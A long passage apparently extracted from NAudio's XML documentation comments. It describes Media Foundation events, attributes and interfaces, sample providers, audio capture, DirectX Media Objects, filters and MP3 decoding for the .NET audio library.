Unknown Raised when a media source starts without seeking. Raised by a media stream when the source starts without seeking. Raised when a media source seeks to a new position. Raised by a media stream after a call to IMFMediaSource::Start causes a seek in the stream. Raised by a media source when it starts a new stream. Raised by a media source when it restarts or seeks a stream that is already active. Raised by a media source when the IMFMediaSource::Stop method completes asynchronously. Raised by a media stream when the IMFMediaSource::Stop method completes asynchronously. Raised by a media source when the IMFMediaSource::Pause method completes asynchronously. Raised by a media stream when the IMFMediaSource::Pause method completes asynchronously. Raised by a media source when a presentation ends. Raised by a media stream when the stream ends. Raised when a media stream delivers a new sample. Signals that a media stream does not have data available at a specified time. Raised by a media stream when it starts or stops thinning the stream. Raised by a media stream when the media type of the stream changes. Raised by a media source when the playback rate changes. Raised by the sequencer source when a segment is completed and is followed by another segment. Raised by a media source when the source's characteristics change. Raised by a media source to request a new playback rate. Raised by a media source when it updates its metadata. Raised by the sequencer source when the IMFSequencerSource::UpdateTopology method completes asynchronously. Sink Unknown Raised by a stream sink when it completes the transition to the running state. Raised by a stream sink when it completes the transition to the stopped state. Raised by a stream sink when it completes the transition to the paused state. Raised by a stream sink when the rate has changed. Raised by a stream sink to request a new media sample from the pipeline. Raised by a stream sink after the IMFStreamSink::PlaceMarker method is called. Raised by a stream sink when the stream has received enough preroll data to begin rendering. Raised by a stream sink when it completes a scrubbing request. Raised by a stream sink when the sink's media type is no longer valid. Raised by the stream sinks of the EVR if the video device changes. Provides feedback about playback quality to the quality manager. Raised when a media sink becomes invalid. The audio session display name changed. The volume or mute state of the audio session changed The audio device was removed. The Windows audio server system was shut down. The grouping parameters changed for the audio session. The audio session icon changed. The default audio format for the audio device changed. The audio session was disconnected from a Windows Terminal Services session The audio session was preempted by an exclusive-mode connection. Trust Unknown The output policy for a stream changed. Content protection message The IMFOutputTrustAuthority::SetPolicy method completed. DRM License Backup Completed DRM License Backup Progress DRM License Restore Completed DRM License Restore Progress DRM License Acquisition Completed DRM Individualization Completed DRM Individualization Progress DRM Proximity Completed DRM License Store Cleaned DRM Revocation Download Completed Transform Unknown Sent by an asynchronous MFT to request a new input sample. Sent by an asynchronous MFT when new output data is available from the MFT. Sent by an asynchronous Media Foundation transform (MFT) when a drain operation is complete. Sent by an asynchronous MFT in response to an MFT_MESSAGE_COMMAND_MARKER message. Media Foundation attribute guids http://msdn.microsoft.com/en-us/library/windows/desktop/ms696989%28v=vs.85%29.aspx Specifies whether an MFT performs asynchronous processing. Enables the use of an asynchronous MFT. Contains flags for an MFT activation object. Specifies the category for an MFT. Contains the class identifier (CLSID) of an MFT. Contains the registered input types for a Media Foundation transform (MFT). Contains the registered output types for a Media Foundation transform (MFT). Contains the symbolic link for a hardware-based MFT. Contains the display name for a hardware-based MFT. Contains a pointer to the stream attributes of the connected stream on a hardware-based MFT. Specifies whether a hardware-based MFT is connected to another hardware-based MFT. Specifies the preferred output format for an encoder. Specifies whether an MFT is registered only in the application's process. Contains configuration properties for an encoder. Specifies whether a hardware device source uses the system time for time stamps. Contains an IMFFieldOfUseMFTUnlock pointer, which can be used to unlock the MFT. Contains the merit value of a hardware codec. Specifies whether a decoder is optimized for transcoding rather than for playback. Contains a pointer to the proxy object for the application's presentation descriptor. Contains a pointer to the presentation descriptor from the protected media path (PMP). Specifies the duration of a presentation, in 100-nanosecond units. Specifies the total size of the source file, in bytes. Specifies the audio encoding bit rate for the presentation, in bits per second. Specifies the video encoding bit rate for the presentation, in bits per second. Specifies the MIME type of the content. Specifies when a presentation was last modified. The identifier of the playlist element in the presentation. Contains the preferred RFC 1766 language of the media source. The time at which the presentation must begin, relative to the start of the media source. Specifies whether the audio streams in the presentation have a variable bit rate. Media type Major Type Media Type subtype Audio block alignment Audio average bytes per second Audio number of channels Audio samples per second Audio bits per sample Enables the source reader or sink writer to use hardware-based Media Foundation transforms (MFTs). Contains additional format data for a media type. Specifies for a media type whether each sample is independent of the other samples in the stream. Specifies for a media type whether the samples have a fixed size. Contains a DirectShow format GUID for a media type. Specifies the preferred legacy format structure to use when converting an audio media type. Specifies for a media type whether the media data is compressed. Approximate data rate of the video stream, in bits per second, for a video media type. Specifies the payload type of an Advanced Audio Coding (AAC) stream. 0 - The stream contains raw_data_block elements only 1 - Audio Data Transport Stream (ADTS). The stream contains an adts_sequence, as defined by MPEG-2. 2 - Audio Data Interchange Format (ADIF). The stream contains an adif_sequence, as defined by MPEG-2. 3 - The stream contains an MPEG-4 audio transport stream with a synchronization layer (LOAS) and a multiplex layer (LATM). Specifies the audio profile and level of an Advanced Audio Coding (AAC) stream, as defined by ISO/IEC 14496-3. Main interface for using Media Foundation with NAudio initializes MediaFoundation - only needs to be called once per process Enumerate the installed MediaFoundation transforms in the specified category A category from MediaFoundationTransformCategories uninitializes MediaFoundation Creates a Media type Creates a media type from a WaveFormat Creates a memory buffer of the specified size Memory buffer size in bytes The memory buffer Creates a sample object The sample object Creates a new attributes store Initial size The attributes store Creates a media foundation byte stream based on a stream object (usable with WinRT streams) The input stream A media foundation byte stream Creates a source reader based on a byte stream The byte stream A media foundation source reader Interop definitions for MediaFoundation thanks to Lucian Wischik for the initial work on many of these definitions (also various interfaces) n.b. the goal is to make as much of this internal as possible, and provide better .NET APIs using the MediaFoundationApi class instead All streams First audio stream First video stream Media source Media Foundation SDK Version Media Foundation API Version Media Foundation Version Initializes Microsoft Media Foundation. Shuts down the Microsoft Media Foundation platform Creates an empty media type. Initializes a media type from a WAVEFORMATEX structure. Converts a Media Foundation audio media type to a WAVEFORMATEX structure. TODO: try making second parameter out WaveFormatExtraData Creates the source reader from a URL. Creates the source reader from a byte stream. Creates the sink writer from a URL or byte stream. Creates a Microsoft Media Foundation byte stream that wraps an IRandomAccessStream object. Gets a list of Microsoft Media Foundation transforms (MFTs) that match specified search criteria. Creates an empty media sample. Allocates system memory and creates a media buffer to manage it. Creates an empty attribute store. Gets a list of output formats from an audio encoder. IMFByteStream http://msdn.microsoft.com/en-gb/library/windows/desktop/ms698720%28v=vs.85%29.aspx Retrieves the characteristics of the byte stream. virtual HRESULT STDMETHODCALLTYPE GetCapabilities(/*[out]*/ __RPC__out DWORD *pdwCapabilities) = 0; Retrieves the length of the stream. virtual HRESULT STDMETHODCALLTYPE GetLength(/*[out]*/ __RPC__out QWORD *pqwLength) = 0; Sets the length of the stream. virtual HRESULT STDMETHODCALLTYPE SetLength(/*[in]*/ QWORD qwLength) = 0; Retrieves the current read or write position in the stream. virtual HRESULT STDMETHODCALLTYPE GetCurrentPosition(/*[out]*/ __RPC__out QWORD *pqwPosition) = 0; Sets the current read or write position. virtual HRESULT STDMETHODCALLTYPE SetCurrentPosition(/*[in]*/ QWORD qwPosition) = 0; Queries whether the current position has reached the end of the stream. virtual HRESULT STDMETHODCALLTYPE IsEndOfStream(/*[out]*/ __RPC__out BOOL *pfEndOfStream) = 0; Reads data from the stream. virtual HRESULT STDMETHODCALLTYPE Read(/*[size_is][out]*/ __RPC__out_ecount_full(cb) BYTE *pb, /*[in]*/ ULONG cb, /*[out]*/ __RPC__out ULONG *pcbRead) = 0; Begins an asynchronous read operation from the stream. virtual /*[local]*/ HRESULT STDMETHODCALLTYPE BeginRead(/*[out]*/ _Out_writes_bytes_(cb) BYTE *pb, /*[in]*/ ULONG cb, /*[in]*/ IMFAsyncCallback *pCallback, /*[in]*/ IUnknown *punkState) = 0; Completes an asynchronous read operation. virtual /*[local]*/ HRESULT STDMETHODCALLTYPE EndRead(/*[in]*/ IMFAsyncResult *pResult, /*[out]*/ _Out_ ULONG *pcbRead) = 0; Writes data to the stream. virtual HRESULT STDMETHODCALLTYPE Write(/*[size_is][in]*/ __RPC__in_ecount_full(cb) const BYTE *pb, /*[in]*/ ULONG cb, /*[out]*/ __RPC__out ULONG *pcbWritten) = 0; Begins an asynchronous write operation to the stream. virtual /*[local]*/ HRESULT STDMETHODCALLTYPE BeginWrite(/*[in]*/ _In_reads_bytes_(cb) const BYTE *pb, /*[in]*/ ULONG cb, /*[in]*/ IMFAsyncCallback *pCallback, /*[in]*/ IUnknown *punkState) = 0; Completes an asynchronous write operation. virtual /*[local]*/ HRESULT STDMETHODCALLTYPE EndWrite(/*[in]*/ IMFAsyncResult *pResult, /*[out]*/ _Out_ ULONG *pcbWritten) = 0; Moves the current position in the stream by a specified offset. virtual HRESULT STDMETHODCALLTYPE Seek(/*[in]*/ MFBYTESTREAM_SEEK_ORIGIN SeekOrigin, /*[in]*/ LONGLONG llSeekOffset, /*[in]*/ DWORD dwSeekFlags, /*[out]*/ __RPC__out QWORD *pqwCurrentPosition) = 0; Clears any internal buffers used by the stream. virtual HRESULT STDMETHODCALLTYPE Flush( void) = 0; Closes the stream and releases any resources associated with the stream. virtual HRESULT STDMETHODCALLTYPE Close( void) = 0; IMFMediaBuffer http://msdn.microsoft.com/en-gb/library/windows/desktop/ms696261%28v=vs.85%29.aspx Gives the caller access to the memory in the buffer. Unlocks a buffer that was previously locked. Retrieves the length of the valid data in the buffer. Sets the length of the valid data in the buffer. Retrieves the allocated size of the buffer. Represents a description of a media format. http://msdn.microsoft.com/en-us/library/windows/desktop/ms704850%28v=vs.85%29.aspx Retrieves the value associated with a key. Retrieves the data type of the value associated with a key. Queries whether a stored attribute value equals a specified PROPVARIANT. Compares the attributes on this object with the attributes on another object. Retrieves a UINT32 value associated with a key. Retrieves a UINT64 value associated with a key. Retrieves a double value associated with a key. Retrieves a GUID value associated with a key. Retrieves the length of a string value associated with a key. Retrieves a wide-character string associated with a key. Retrieves a wide-character string associated with a key. This method allocates the memory for the string. Retrieves the length of a byte array associated with a key. Retrieves a byte array associated with a key. Retrieves a byte array associated with a key. This method allocates the memory for the array. Retrieves an interface pointer associated with a key. Associates an attribute value with a key. Removes a key/value pair from the object's attribute list. Removes all key/value pairs from the object's attribute list. Associates a UINT32 value with a key. Associates a UINT64 value with a key. Associates a double value with a key. Associates a GUID value with a key. Associates a wide-character string with a key. Associates a byte array with a key. Associates an IUnknown pointer with a key. Locks the attribute store so that no other thread can access it. Unlocks the attribute store. Retrieves the number of attributes that are set on this object. Retrieves an attribute at the specified index. Copies all of the attributes from this object into another attribute store. Retrieves the major type of the format. Queries whether the media type is a compressed format. Compares two media types and determines whether they are identical. Retrieves an alternative representation of the media type. Frees memory that was allocated by the GetRepresentation method. http://msdn.microsoft.com/en-gb/library/windows/desktop/ms702192%28v=vs.85%29.aspx Retrieves the value associated with a key. Retrieves the data type of the value associated with a key. Queries whether a stored attribute value equals a specified PROPVARIANT. Compares the attributes on this object with the attributes on another object. Retrieves a UINT32 value associated with a key. Retrieves a UINT64 value associated with a key. Retrieves a double value associated with a key. Retrieves a GUID value associated with a key. Retrieves the length of a string value associated with a key. Retrieves a wide-character string associated with a key. Retrieves a wide-character string associated with a key. This method allocates the memory for the string. Retrieves the length of a byte array associated with a key. Retrieves a byte array associated with a key. Retrieves a byte array associated with a key. This method allocates the memory for the array. Retrieves an interface pointer associated with a key. Associates an attribute value with a key. Removes a key/value pair from the object's attribute list. Removes all key/value pairs from the object's attribute list. Associates a UINT32 value with a key. Associates a UINT64 value with a key. Associates a double value with a key. Associates a GUID value with a key. Associates a wide-character string with a key. Associates a byte array with a key. Associates an IUnknown pointer with a key. Locks the attribute store so that no other thread can access it. Unlocks the attribute store. Retrieves the number of attributes that are set on this object. Retrieves an attribute at the specified index. Copies all of the attributes from this object into another attribute store. Retrieves flags associated with the sample. Sets flags associated with the sample. Retrieves the presentation time of the sample. Sets the presentation time of the sample. Retrieves the duration of the sample. Sets the duration of the sample. Retrieves the number of buffers in the sample. Retrieves a buffer from the sample. Converts a sample with multiple buffers into a sample with a single buffer. Adds a buffer to the end of the list of buffers in the sample. Removes a buffer at a specified index from the sample. Removes all buffers from the sample. Retrieves the total length of the valid data in all of the buffers in the sample. Copies the sample data to a buffer. IMFSourceReader interface http://msdn.microsoft.com/en-us/library/windows/desktop/dd374655%28v=vs.85%29.aspx Queries whether a stream is selected. Selects or deselects one or more streams. Gets a format that is supported natively by the media source. Gets the current media type for a stream. Sets the media type for a stream. Seeks to a new position in the media source. Reads the next sample from the media source. Flushes one or more streams. Queries the underlying media source or decoder for an interface. Gets an attribute from the underlying media source. Contains flags that indicate the status of the IMFSourceReader::ReadSample method http://msdn.microsoft.com/en-us/library/windows/desktop/dd375773(v=vs.85).aspx No Error An error occurred. If you receive this flag, do not make any further calls to IMFSourceReader methods. The source reader reached the end of the stream. One or more new streams were created The native format has changed for one or more streams. The native format is the format delivered by the media source before any decoders are inserted. The current media has type changed for one or more streams. To get the current media type, call the IMFSourceReader::GetCurrentMediaType method. There is a gap in the stream. This flag corresponds to an MEStreamTick event from the media source. All transforms inserted by the application have been removed for a particular stream. Media Foundation Transform Categories MFT_CATEGORY_VIDEO_DECODER MFT_CATEGORY_VIDEO_ENCODER MFT_CATEGORY_VIDEO_EFFECT MFT_CATEGORY_MULTIPLEXER MFT_CATEGORY_DEMULTIPLEXER MFT_CATEGORY_AUDIO_DECODER MFT_CATEGORY_AUDIO_ENCODER MFT_CATEGORY_AUDIO_EFFECT MFT_CATEGORY_VIDEO_PROCESSOR MFT_CATEGORY_OTHER Contains information about an input stream on a Media Foundation transform (MFT) Maximum amount of time between an input sample and the corresponding output sample, in 100-nanosecond units. Bitwise OR of zero or more flags from the _MFT_INPUT_STREAM_INFO_FLAGS enumeration. The minimum size of each input buffer, in bytes. Maximum amount of input data, in bytes, that the MFT holds to perform lookahead. The memory alignment required for input buffers. If the MFT does not require a specific alignment, the value is zero. Contains information about an output buffer for a Media Foundation transform. Output stream identifier. Pointer to the IMFSample interface. Before calling ProcessOutput, set this member to zero. Before calling ProcessOutput, set this member to NULL. Contains information about an output stream on a Media Foundation transform (MFT). Bitwise OR of zero or more flags from the _MFT_OUTPUT_STREAM_INFO_FLAGS enumeration. Minimum size of each output buffer, in bytes. The memory alignment required for output buffers. Defines messages for a Media Foundation transform (MFT). Requests the MFT to flush all stored data. Requests the MFT to drain any stored data. Sets or clears the Direct3D Device Manager for DirectX Video Accereration (DXVA). Drop samples - requires Windows 7 Command Tick - requires Windows 8 Notifies the MFT that streaming is about to begin. Notifies the MFT that streaming is about to end. Notifies the MFT that an input stream has ended. Notifies the MFT that the first sample is about to be processed. Marks a point in the stream. This message applies only to asynchronous MFTs. Requires Windows 7 Contains media type information for registering a Media Foundation transform (MFT). The major media type. The Media Subtype Contains statistics about the performance of the sink writer. The size of the structure, in bytes. The time stamp of the most recent sample given to the sink writer. The time stamp of the most recent sample to be encoded. The time stamp of the most recent sample given to the media sink. The time stamp of the most recent stream tick. The system time of the most recent sample request from the media sink. The number of samples received. The number of samples encoded. The number of samples given to the media sink. The number of stream ticks received. The amount of data, in bytes, currently waiting to be processed. The total amount of data, in bytes, that has been sent to the media sink. The number of pending sample requests. The average rate, in media samples per 100-nanoseconds, at which the application sent samples to the sink writer. The average rate, in media samples per 100-nanoseconds, at which the sink writer sent samples to the encoder The average rate, in media samples per 100-nanoseconds, at which the sink writer sent samples to the media sink. Contains flags for registering and enumeration Media Foundation transforms (MFTs). None The MFT performs synchronous data processing in software. The MFT performs asynchronous data processing in software. The MFT performs hardware-based data processing, using either the AVStream driver or a GPU-based proxy MFT. The MFT that must be unlocked by the application before use. For enumeration, include MFTs that were registered in the caller's process. The MFT is optimized for transcoding rather than playback. For enumeration, sort and filter the results. Bitwise OR of all the flags, excluding MFT_ENUM_FLAG_SORTANDFILTER. Indicates the status of an input stream on a Media Foundation transform (MFT). None The input stream can receive more data at this time. Describes an input stream on a Media Foundation transform (MFT). No flags set Each media sample (IMFSample interface) of input data must contain complete, unbroken units of data. Each media sample that the client provides as input must contain exactly one unit of data, as defined for the MFT_INPUT_STREAM_WHOLE_SAMPLES flag. All input samples must be the same size. MTF Input Stream Holds buffers The MFT does not hold input samples after the IMFTransform::ProcessInput method returns. This input stream can be removed by calling IMFTransform::DeleteInputStream. This input stream is optional. The MFT can perform in-place processing. Defines flags for the IMFTransform::ProcessOutput method. None The MFT can still generate output from this stream without receiving any more input. The format has changed on this output stream, or there is a new preferred format for this stream. The MFT has removed this output stream. There is no sample ready for this stream. Indicates whether a Media Foundation transform (MFT) can produce output data. None There is a sample available for at least one output stream. Describes an output stream on a Media Foundation transform (MFT). No flags set Each media sample (IMFSample interface) of output data from the MFT contains complete, unbroken units of data. Each output sample contains exactly one unit of data, as defined for the MFT_OUTPUT_STREAM_WHOLE_SAMPLES flag. All output samples are the same size. The MFT can discard the output data from this output stream, if requested by the client. This output stream is optional. The MFT provides the output samples for this stream, either by allocating them internally or by operating directly on the input samples. The MFT can either provide output samples for this stream or it can use samples that the client allocates. The MFT does not require the client to process the output for this stream. The MFT might remove this output stream during streaming. Defines flags for processing output samples in a Media Foundation transform (MFT). None Do not produce output for streams in which the pSample member of the MFT_OUTPUT_DATA_BUFFER structure is NULL. Regenerates the last output sample. Process Output Status flags None The Media Foundation transform (MFT) has created one or more new output streams. Defines flags for the setting or testing the media type on a Media Foundation transform (MFT). None Test the proposed media type, but do not set it. MIDI In Message Information Create a new MIDI In Message EventArgs The Raw message received from the MIDI In API The raw message interpreted as a MidiEvent The timestamp in milliseconds for this message these will become extension methods once we move to .NET 3.5 Checks if the buffer passed in is entirely full of nulls Converts to a string containing the buffer described in hex Decodes the buffer using the specified encoding, stopping at the first null Concatenates the given arrays into a single array. The arrays to concatenate The concatenated resulting array. Helper to get descriptions Describes the Guid by looking for a FieldDescription attribute on the specified class WavePosition extension methods Get Position as timespan Methods for converting between IEEE 80-bit extended double precision and standard C# double precision. Converts a C# double precision number to an 80-bit IEEE extended double precision number (occupying 10 bytes). The double precision number to convert to IEEE extended. An array of 10 bytes containing the IEEE extended number. Converts an IEEE 80-bit extended precision number to a C# double precision number. The 80-bit IEEE extended number (as an array of 10 bytes). A C# double precision number that is a close representation of the IEEE extended number. General purpose native methods for internal NAudio use ASIODriverCapability holds all the information from the ASIODriver. Use ASIODriverExt to get the Capabilities ASIO Sample Type Int 16 MSB Int 24 MSB (used for 20 bits as well) Int 32 MSB IEEE 754 32 bit float IEEE 754 64 bit double float 32 bit data with 16 bit alignment 32 bit data with 18 bit alignment 32 bit data with 20 bit alignment 32 bit data with 24 bit alignment Int 16 LSB Int 24 LSB used for 20 bits as well Int 32 LSB IEEE 754 32 bit float, as found on Intel x86 architecture IEEE 754 64 bit double float, as found on Intel x86 architecture 32 bit data with 16 bit alignment 32 bit data with 18 bit alignment 32 bit data with 20 bit alignment 32 bit data with 24 bit alignment DSD 1 bit data, 8 samples per byte. First sample in Least significant bit. DSD 1 bit data, 8 samples per byte. First sample in Most significant bit. DSD 8 bit data, 1 sample per byte. No Endianness required. Flags for use with acmDriverAdd ACM_DRIVERADDF_LOCAL ACM_DRIVERADDF_GLOBAL ACM_DRIVERADDF_FUNCTION ACM_DRIVERADDF_NOTIFYHWND ADSR sample provider allowing you to specify attack, decay, sustain and release values Like IWaveProvider, but makes it much simpler to put together a 32 bit floating point mixing engine Fill the specified buffer with 32 bit floating point samples The buffer to fill with samples. Offset into buffer The number of samples to read the number of samples written to the buffer. Gets the WaveFormat of this Sample Provider. The wave format. Creates a new AdsrSampleProvider with default values Reads audio from this sample provider Enters the Release phase Attack time in seconds Release time in seconds The output WaveFormat Sample Provider to allow fading in and out Creates a new FadeInOutSampleProvider The source stream with the audio to be faded in or out If true, we start faded out Requests that a fade-in begins (will start on the next call to Read) Duration of fade in milliseconds Requests that a fade-out begins (will start on the next call to Read) Duration of fade in milliseconds Reads samples from this sample provider Buffer to read into Offset within buffer to write to Number of samples desired Number of samples read WaveFormat of this SampleProvider Allows any number of inputs to be patched to outputs Uses could include swapping left and right channels, turning mono into stereo, feeding different input sources to different soundcard outputs etc Creates a multiplexing sample provider, allowing re-patching of input channels to different output channels Input sample providers. Must all be of the same sample rate, but can have any number of channels Desired number of output channels. persistent temporary buffer to prevent creating work for garbage collector Reads samples from this sample provider Buffer to be filled with sample data Offset into buffer to start writing to, usually 0 Number of samples required Number of samples read Connects a specified input channel to an output channel Input Channel index (zero based). Must be less than InputChannelCount Output Channel index (zero based). Must be less than OutputChannelCount The output WaveFormat for this SampleProvider The number of input channels. Note that this is not the same as the number of input wave providers. If you pass in one stereo and one mono input provider, the number of input channels is three. The number of output channels, as specified in the constructor. Allows you to: 1. insert a pre-delay of silence before the source begins 2. skip over a certain amount of the beginning of the source 3. only play a set amount from the source 4. insert silence at the end after the source is complete Creates a new instance of offsetSampleProvider The Source Sample Provider to read from Reads from this sample provider Sample buffer Offset within sample buffer to read to Number of samples required Number of samples read Number of samples of silence to insert before playing source Amount of silence to insert before playing Number of samples in source to discard Amount of audio to skip over from the source before beginning playback Number of samples to read from source (if 0, then read it all) Amount of audio to take from the source (TimeSpan.Zero means play to end) Number of samples of silence to insert after playing source Amount of silence to insert after playing source The WaveFormat of this SampleProvider Converts an IWaveProvider containing 32 bit PCM to an ISampleProvider Helper base class for classes converting to ISampleProvider Source Wave Provider Source buffer (to avoid constantly creating small buffers during playback) Initialises a new instance of SampleProviderConverterBase Source Wave provider Reads samples from the source wave provider Sample buffer Offset into sample buffer Number of samples required Number of samples read Ensure the source buffer exists and is big enough Bytes required Wave format of this wave provider Initialises a new instance of Pcm32BitToSampleProvider Source Wave Provider Reads floating point samples from this sample provider sample buffer offset within sample buffer to write to number of samples required number of samples provided Utility class for converting to SampleProvider Helper function to go from IWaveProvider to a SampleProvider Must already be PCM or IEEE float The WaveProvider to convert A sample provider Converts a sample provider to 16 bit PCM, optionally clipping and adjusting volume along the way Generic interface for all WaveProviders. Fill the specified buffer with wave data. The buffer to fill of wave data. Offset into buffer The number of bytes to read the number of bytes written to the buffer. Gets the WaveFormat of this WaveProvider. The wave format. Converts from an ISampleProvider (IEEE float) to a 16 bit PCM IWaveProvider. Number of channels and sample rate remain unchanged. The input source provider Reads bytes from this wave stream The destination buffer Offset into the destination buffer Number of bytes read Number of bytes read. Volume of this channel. 1.0 = full scale Converts a sample provider to 24 bit PCM, optionally clipping and adjusting volume along the way Converts from an ISampleProvider (IEEE float) to a 16 bit PCM IWaveProvider. Number of channels and sample rate remain unchanged. The input source provider Reads bytes from this wave stream, clipping if necessary The destination buffer Offset into the destination buffer Number of bytes read Number of bytes read. The Format of this IWaveProvider Volume of this channel. 1.0 = full scale, 0.0 to mute Signal Generator Sin, Square, Triangle, SawTooth, White Noise, Pink Noise, Sweep. Posibility to change ISampleProvider Example : --------- WaveOut _waveOutGene = new WaveOut(); WaveGenerator wg = new SignalGenerator(); wg.Type = ... wg.Frequency = ... wg ... _waveOutGene.Init(wg); _waveOutGene.Play(); Initializes a new instance for the Generator (Default :: 44.1Khz, 2 channels, Sinus, Frequency = 440, Gain = 1) Initializes a new instance for the Generator (UserDef SampleRate & Channels) Desired sample rate Number of channels Reads from this provider. Private :: Random for WhiteNoise & Pink Noise (Value form -1 to 1) Random value from -1 to +1 The waveformat of this WaveProvider (same as the source) Frequency for the Generator. (20.0 - 20000.0 Hz) Sin, Square, Triangle, SawTooth, Sweep (Start Frequency). Return Log of Frequency Start (Read only) End Frequency for the Sweep Generator. (Start Frequency in Frequency) Return Log of Frequency End (Read only) Gain for the Generator. (0.0 to 1.0) Channel PhaseReverse Type of Generator. Length Seconds for the Sweep Generator. Signal Generator type Pink noise White noise Sweep Sine wave Square wave Triangle Wave Sawtooth wave Helper class turning an already 64 bit floating point IWaveProvider into an ISampleProvider - hopefully not needed for most applications Initializes a new instance of the WaveToSampleProvider class Source wave provider, must be IEEE float Reads from this provider Fully managed resampling sample provider, based on the WDL Resampler Constructs a new resampler Source to resample Desired output sample rate Reads from this sample provider Output WaveFormat Useful extension methods to make switching between WaveAndSampleProvider easier Converts a WaveProvider into a SampleProvider (only works for PCM) WaveProvider to convert Allows sending a SampleProvider directly to an IWavePlayer without needing to convert back to an IWaveProvider The WavePlayer Recording using waveIn api with event callbacks. Use this for recording in non-gui applications Events are raised as recorded buffers are made available Generic interface for wave recording Start Recording Stop Recording Recording WaveFormat Indicates recorded data is available Indicates that all recorded data has now been received. Prepares a Wave input device for recording Retrieves the capabilities of a waveIn device Device to test The WaveIn device capabilities Start recording Stop recording Dispose pattern Microphone Level Dispose method Indicates recorded data is available Indicates that all recorded data has now been received. Returns the number of Wave In devices available in the system Milliseconds for the buffer. Recommended value is 100ms Number of Buffers to use (usually 2 or 3) The device number to use WaveFormat we are recording in Audio Capture using Wasapi See http://msdn.microsoft.com/en-us/library/dd370800%28VS.85%29.aspx Initialises a new instance of the WASAPI capture class Initialises a new instance of the WASAPI capture class Capture device to use Initializes a new instance of the class. The capture device. true if sync is done with event. false use sleep. Gets the default audio capture device The default audio capture device To allow overrides to specify different flags (e.g. loopback) Start Recording Stop Recording (requests a stop, wait for RecordingStopped event to know it has finished) Dispose Indicates recorded data is available Indicates that all recorded data has now been received. Share Mode - set before calling StartRecording Recording wave format Contains the name and CLSID of a DirectX Media Object Initializes a new instance of DmoDescriptor Name Clsid DirectX Media Object Enumerator Get audio effect names Audio effect names Get audio encoder names Audio encoder names Get audio decoder names Audio decoder names DMO Guids for use with DMOEnum dmoreg.h MediaErr.h DMO_PARTIAL_MEDIATYPE defined in Medparam.h Windows Media Resampler Props wmcodecdsp.h Range is 1 to 60 Specifies the channel matrix. Attempting to implement the COM IMediaBuffer interface as a .NET object Not sure what will happen when I pass this to an unmanaged object IMediaBuffer Interface Set Length Length HRESULT Get Max Length Max Length HRESULT Get Buffer and Length Pointer to variable into which to write the Buffer Pointer Pointer to variable into which to write the Valid Data Length HRESULT Creates a new Media Buffer Maximum length in bytes Dispose and free memory for buffer Finalizer Set length of valid data in the buffer length HRESULT Gets the maximum length of the buffer Max length (output parameter) HRESULT Gets buffer and / or length Pointer to variable into which buffer pointer should be written Pointer to variable into which valid data length should be written HRESULT Loads data into this buffer Data to load Number of bytes to load Retrieves the data in the output buffer buffer to retrieve into offset within that buffer Length of data in the media buffer Media Object Creates a new Media Object Media Object COM interface Gets the input media type for the specified input stream Input stream index Input type index DMO Media Type or null if there are no more input types Gets the DMO Media Output type The output stream Output type index DMO Media Type or null if no more available retrieves the media type that was set for an output stream, if any Output stream index DMO Media Type or null if no more available Enumerates the supported input types Input stream index Enumeration of input types Enumerates the output types Output stream index Enumeration of supported output types Querys whether a specified input type is supported Input stream index Media type to check true if supports Sets the input type helper method Input stream index Media type Flags (can be used to test rather than set) Sets the input type Input stream index Media Type Sets the input type to the specified Wave format Input stream index Wave format Requests whether the specified Wave format is supported as an input Input stream index Wave format true if supported Helper function to make a DMO Media Type to represent a particular WaveFormat Checks if a specified output type is supported n.b. you may need to set the input type first Output stream index Media type True if supported Tests if the specified Wave Format is supported for output n.b. may need to set the input type first Output stream index Wave format True if supported Helper method to call SetOutputType Sets the output type n.b. may need to set the input type first Output stream index Media type to set Set output type to the specified wave format n.b. may need to set input type first Output stream index Wave format Get Input Size Info Input Stream Index Input Size Info Get Output Size Info Output Stream Index Output Size Info Process Input Input Stream index Media Buffer Flags Timestamp Duration Process Output Flags Output buffer count Output buffers Gives the DMO a chance to allocate any resources needed for streaming Tells the DMO to free any resources needed for streaming Gets maximum input latency input stream index Maximum input latency as a ref-time Flushes all buffered data Report a discontinuity on the specified input stream Input Stream index Is this input stream accepting data? Input Stream index true if accepting data Experimental code, not currently being called Not sure if it is necessary anyway Number of input streams Number of output streams Media Object Size Info Media Object Size Info ToString Minimum Buffer Size, in bytes Max Lookahead Alignment MP_PARAMINFO MP_TYPE MPT_INT MPT_FLOAT MPT_BOOL MPT_ENUM MPT_MAX MP_CURVE_TYPE uuids.h, ksuuids.h implements IMediaObject (DirectX Media Object) implements IMFTransform (Media Foundation Transform) On Windows XP, it is always an MM (if present at all) Windows Media MP3 Decoder (as a DMO) WORK IN PROGRESS - DO NOT USE! Creates a new Resampler based on the DMO Resampler Dispose code - experimental at the moment Was added trying to track down why Resampler crashes NUnit This code not currently being called by ResamplerDmoStream Media Object BiQuad filter Passes a single sample through the filter Input sample Output sample Set this up as a low pass filter Sample Rate Cut-off Frequency Bandwidth Set this up as a peaking EQ Sample Rate Centre Frequency Bandwidth (Q) Gain in decibels Set this as a high pass filter Create a low pass filter Create a High pass filter Create a bandpass filter with constant skirt gain Create a bandpass filter with constant peak gain Creates a notch filter Creaes an all pass filter Create a Peaking EQ H(s) = A * (s^2 + (sqrt(A)/Q)*s + A)/(A*s^2 + (sqrt(A)/Q)*s + 1) a "shelf slope" parameter (for shelving EQ only). When S = 1, the shelf slope is as steep as it can be and remain monotonically increasing or decreasing gain with frequency. The shelf slope, in dB/octave, remains proportional to S for all other values for a fixed f0/Fs and dBgain. Gain in decibels H(s) = A * (A*s^2 + (sqrt(A)/Q)*s + 1)/(s^2 + (sqrt(A)/Q)*s + A) Type to represent complex number Real Part Imaginary Part Summary description for FastFourierTransform. This computes an in-place complex-to-complex FFT x and y are the real and imaginary arrays of 2^m points. Applies a Hamming Window Index into frame Frame size (e.g. 1024) Multiplier for Hamming window Applies a Hann Window Index into frame Frame size (e.g. 1024) Multiplier for Hann window Applies a Blackman-Harris Window Index into frame Frame size (e.g. 1024) Multiplier for Blackmann-Harris window Summary description for ImpulseResponseConvolution. A very simple mono convolution algorithm This will be very slow This is actually a downwards normalize for data that will clip Represents an entry in a Cakewalk drum map Describes this drum map entry User customisable note name Input MIDI note number Output MIDI note number Output port Output MIDI Channel Velocity adjustment Velocity scaling - in percent Represents a Cakewalk Drum Map file (.map) Parses a Cakewalk Drum Map file Path of the .map file Describes this drum map The drum mappings in this drum map Channel Mode Stereo Joint Stereo Dual Channel Mono MP3 Frame decompressor using the Windows Media MP3 Decoder DMO object Interface for MP3 frame by frame decoder Decompress a single MP3 frame Frame to decompress Output buffer Offset within output buffer Bytes written to output buffer Tell the decoder that we have repositioned PCM format that we 